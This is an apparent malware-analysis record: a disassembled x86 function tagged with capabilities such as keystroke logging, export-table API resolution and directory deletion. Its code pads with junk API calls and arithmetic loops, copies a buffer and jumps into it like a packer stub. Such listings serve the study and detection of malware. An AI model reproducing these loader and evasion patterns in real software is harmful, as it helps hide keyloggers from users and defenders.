Function at 0x4034d0
Capabilities:
Delete directory
Get common file path
Get disk size
Log keystrokes via polling
Resolve function by parsing pe exports
Suspend thread
Write file on windows

Disassembly:
mov eax, 0x10b4
call fcn.0040d330
cmp dword [0xa384f4], 0xac
push ebx
push ebp
push esi
push edi
jne 0x4035ce
push 0
push 0
call dword [sym.imp.USER32.dll_GetWindowLongW]
push 0
call dword [sym.imp.USER32.dll_IsCharAlphaNumericA]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_ChangeMenuA]
push 0
push 0
call dword [sym.imp.USER32.dll_CreateAcceleratorTableW]
push 0x402d14
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_ModifyMenuA]
push 0
lea eax, [esp + 0xc4]
push eax
push 0
call dword [sym.imp.USER32.dll_GetKeyNameTextA]
push 0
push 0
lea ecx, [esp + 0x18]
push ecx
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_ToAsciiEx]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsW]
push 0
lea edx, [esp + 0x4c4]
push edx
push 0x402d3c
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_DeleteTimerQueueTimer]
push 0
call dword [sym.imp.KERNEL32.dll_SuspendThread]
lea ecx, [esp + 0x1c]
call fcn.00403d7e
lea ecx, [esp + 0x1c]
call fcn.00403d8f
push 0
call fcn.00403e42
push 0
push 0
call fcn.00404057
push 0
call fcn.00403e13
push 0
push 0
call fcn.00403e29
push 0
push 0
call fcn.00403e4d
push 0
call fcn.00403f7f
add esp, 0x24
add dword [0xa384f4], 0x11b1b
call fcn.004033f0
call fcn.00403410
xor esi, esi
cmp dword [0xa384f4], esi
jbe 0x403646
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ebx, dword [sym.imp.GDI32.dll_CreateHalftonePalette]
jmp 0x403600
mov eax, dword [0xa39dfc]
mov cl, byte [eax + esi + 0x11b1b]
mov edx, dword [0xa38464]
mov byte [edx + esi], cl
cmp dword [0xa384f4], 0xa8
jne 0x40363d
push 0
push 0
push 0
call edi
push 0
call ebx
push 0
lea eax, [esp + 0x8c4]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleTitleW]
inc esi
cmp esi, dword [0xa384f4]
jb 0x403600
mov esi, dword [sym.imp.KERNEL32.dll_SetComputerNameW]
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ebx, dword [sym.imp.KERNEL32.dll_FindResourceA]
mov ebp, dword [sym.imp.KERNEL32.dll_AddConsoleAliasW]
xor eax, eax
mov dword [esp + 0x10], eax
mov ecx, dword [0xa384f4]
add ecx, eax
cmp ecx, 0xe
jne 0x4036fa
push 0
lea edx, [esp + 0x20]
push edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
push 0x402d48
call esi
push 0
call edi
push 0
push 0
push 0
call ebx
push 0
push 0
push 0
call ebp
lea eax, [esp + 0xc0]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCPInfoExW]
push 0x402d64
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
push 0
lea ecx, [esp + 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
lea edx, [esp + 0x14]
push edx
push 0
lea eax, [esp + 0x8c8]
push eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCalendarInfoW]
mov eax, dword [esp + 0x10]
inc eax
cmp eax, 0x4fe229
mov dword [esp + 0x10], eax
jl 0x403664
mov edi, dword [sym.imp.GDI32.dll_GetCharWidthA]
mov ebx, dword [sym.imp.GDI32.dll_GetCharABCWidthsW]
mov esi, 0x4cc
jmp 0x403720
push 0
push 0
push 0
push 0
call edi
lea ecx, [esp + 0x1c]
push ecx
push 0
push 0
push 0
call ebx
sub esi, 1
jne 0x403720
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
push 0
call edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleTitleW]
cmp esi, 0x3b9f963
jge 0x403b24
mov dword [esp + 0x38], 0x68cfa93d
mov dword [esp + 0x80], 0x7e90fce7
mov dword [esp + 0x4c], 0x1d9a7c6d
mov dword [esp + 0x28], 0x441381a
mov dword [esp + 0x54], 0x6da83752
mov dword [esp + 0x70], 0xb940fac
mov dword [esp + 0x60], 0x281b80e7
mov dword [esp + 0x44], 0x5e3362e
mov dword [esp + 0x98], 0x3ac68673
mov dword [esp + 0x1c], 0x1196451a
mov dword [esp + 0x2c], 0x21f9fe85
mov dword [esp + 0x6c], 0x7c6264b6
mov dword [esp + 0x94], 0x4950b2ae
mov dword [esp + 0x30], 0xff5899
mov dword [esp + 0x78], 0x569d1cf2
mov dword [esp + 0x8c], 0x199b1bcf
mov dword [esp + 0x18], 0x1d24402b
mov dword [esp + 0x84], 0x22264de0
mov dword [esp + 0x14], 0x3ddf4fa4
mov dword [esp + 0x10], 0x5958adcb
mov dword [esp + 0x3c], 0xc090240
mov dword [esp + 0x90], 0x3e0ecb2a
mov dword [esp + 0x58], 0x4c075175
mov dword [esp + 0x64], 0x14a61c88
mov dword [esp + 0x50], 0x61a6691c
mov dword [esp + 0x74], 0x6df795ab
mov dword [esp + 0x34], 0x13f0744e
mov dword [esp + 0x9c], 0x405c45da
mov dword [esp + 0x48], 0x7afbd543
mov dword [esp + 0x40], 0x7116d1a8
mov dword [esp + 0x7c], 0x495d1bac
mov dword [esp + 0x68], 0xbfc2655
mov dword [esp + 0x88], 0x1aae7e29
mov dword [esp + 0x5c], 0x22253a00
sub dword [esp + 0x38], 0x6852bd7d
sub dword [esp + 0x28], 0x54eb27fd
add dword [esp + 0x38], 0x60e74945
sub dword [esp + 0x4c], 0x16ceab79
add dword [esp + 0x28], 0x1faa4e06
sub dword [esp + 0x60], 0x465709b3
add dword [esp + 0x54], 0x17220289
sub dword [esp + 0x60], 0x48e04ff4
add dword [esp + 0x70], 0x5c2f0923
mov eax, 0x33ae181
mul dword [esp + 0x28]
mov eax, dword [esp + 0x28]
mov eax, 0x4f0d2a2a
mul dword [esp + 0x38]
mov eax, dword [esp + 0x38]
add dword [esp + 0x4c], 0x569831db
sub dword [esp + 0x38], 0x667741b1
sub dword [esp + 0x1c], 0x84e8e84
sub dword [esp + 0x60], 0x5c701fa0
add dword [esp + 0x94], 0x6a64b9f4
mov eax, 0x6404f391
mul dword [esp + 0x4c]
mov eax, dword [esp + 0x4c]
mov eax, 0x1843e8a2
mul dword [esp + 0x44]
mov eax, dword [esp + 0x44]
mov eax, 0x1058d91d
mul dword [esp + 0x70]
mov eax, dword [esp + 0x70]
add dword [esp + 0x80], 0x5ebbebcb
mov eax, 0x4dfd5c74
mul dword [esp + 0x80]
mov eax, dword [esp + 0x80]
add dword [esp + 0x98], 0x698f89ff
add dword [esp + 0x98], 0x4fbc68fa
add dword [esp + 0x1c], 0x6c2a46be
mov eax, 0x7fb426b4
mul dword [esp + 0x60]
mov eax, dword [esp + 0x60]
mov eax, 0x712460fe
mul dword [esp + 0x60]
mov eax, dword [esp + 0x60]
add dword [esp + 0x30], 0x55a3442
mov eax, 0x14d10f45
mul dword [esp + 0x30]
mov eax, dword [esp + 0x30]
mov eax, 0x737b07f0
mul dword [esp + 0x1c]
mov eax, dword [esp + 0x1c]
mov eax, 0x7c618c04
mul dword [esp + 0x4c]
mov eax, dword [esp + 0x4c]
sub dword [esp + 0x28], 0x7a664b7b
add dword [esp + 0x60], 0x740eb7e3
sub dword [esp + 0x18], 0x4156fe04
add dword [esp + 0x60], 0x1b3116f6
add dword [esp + 0x4c], 0x6c75a77a
mov eax, 0x395ad56b
mul dword [esp + 0x4c]
mov eax, dword [esp + 0x4c]
mov eax, 0x698d9233
mul dword [esp + 0x54]
mov eax, dword [esp + 0x54]
add dword [esp + 0x80], 0x18ae28bb
sub dword [esp + 0x4c], 0x75572066
add dword [esp + 0x28], 0x2415c900
add dword [esp + 0x60], 0x71fae2fb
add dword [esp + 0x44], 0x1652a9ab
sub dword [esp + 0x8c], 0x72eec008
add dword [esp + 0x80], 0x70538415
sub dword [esp + 0x18], 0xd1374b5
add dword [esp + 0x4c], 0x5cba9175
add dword [esp + 0x58], 0x3bd45067
mov eax, 0xb507a49
mul dword [esp + 0x54]
mov eax, dword [esp + 0x54]
add dword [esp + 0x4c], 0x61e345ff
add dword [esp + 0x90], 0x46cf21ae
sub dword [esp + 0x38], 0x43f1ebf9
add dword [esp + 0x14], 0x724f5e27
mov eax, 0x2338ac04
mul dword [esp + 0x58]
mov eax, dword [esp + 0x58]
add dword [esp + 0x40], 0xd1c1252
mov eax, 0x46bda8fc
mul dword [esp + 0x60]
mov eax, dword [esp + 0x60]
mov eax, 0xd1e944a
mul dword [esp + 0x18]
mov eax, dword [esp + 0x18]
mov eax, 0x3af7253c
mul dword [esp + 0x50]
mov eax, dword [esp + 0x50]
mov eax, 0x20607127
mul dword [esp + 0x74]
mov eax, dword [esp + 0x74]
add dword [esp + 0x6c], 0x7ccadf16
mov eax, 0x37d30187
mul dword [esp + 0x54]
mov eax, dword [esp + 0x54]
add dword [esp + 0x84], 0x9f7d911
add dword [esp + 0x60], 0x1a687fae
add dword [esp + 0x18], 0x20b2a2b6
add dword [esp + 0x70], 0x25aa1e5
add dword [esp + 0x48], 0x71ac2e8
mov eax, 0x46788f0e
mul dword [esp + 0x94]
mov eax, dword [esp + 0x94]
cmp esi, 0xbf08bd
jg 0x403b39
inc esi
cmp esi, 0x19be898c
jl 0x403742
call fcn.00403290
call fcn.004033d0
mov esi, dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
mov edi, dword [sym.imp.KERNEL32.dll_SetConsoleCursorInfo]
mov ebx, dword [sym.imp.KERNEL32.dll_IsBadHugeWritePtr]
mov ebp, dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
mov dword [esp + 0x10], 0x7b
cmp dword [0xa384f4], 0x86
jne 0x403b9e
push 0
call esi
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsW]
push 0
push 0
call edi
push 0
push 0
call ebx
lea edx, [esp + 0x1c]
push edx
push 0
call ebp
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_BackupEventLogA]
sub dword [esp + 0x10], 1
jne 0x403b63
mov esi, dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, dword [sym.imp.KERNEL32.dll_CreateActCtxW]
mov ebx, dword [sym.imp.KERNEL32.dll_Beep]
mov ebp, dword [sym.imp.KERNEL32.dll_GetLongPathNameA]
mov dword [esp + 0x10], 0x180ef
cmp dword [0xa384f4], 0x1f
jne 0x403c2b
push 0
lea eax, [esp + 0x20]
push eax
push 0
lea ecx, [esp + 0x4cc]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
push 0
lea edx, [esp + 0xc4]
push edx
call esi
lea eax, [esp + 0xa0]
push eax
call edi
push 0
push 0
call ebx
push 0
lea ecx, [esp + 0x8c4]
push ecx
push 0
call ebp
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteFileEx]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
sub dword [esp + 0x10], 1
jne 0x403bc5
call fcn.00402f70
mov eax, dword [0xa38464]
mov dword [0xa384e8], eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10b4
jmp eax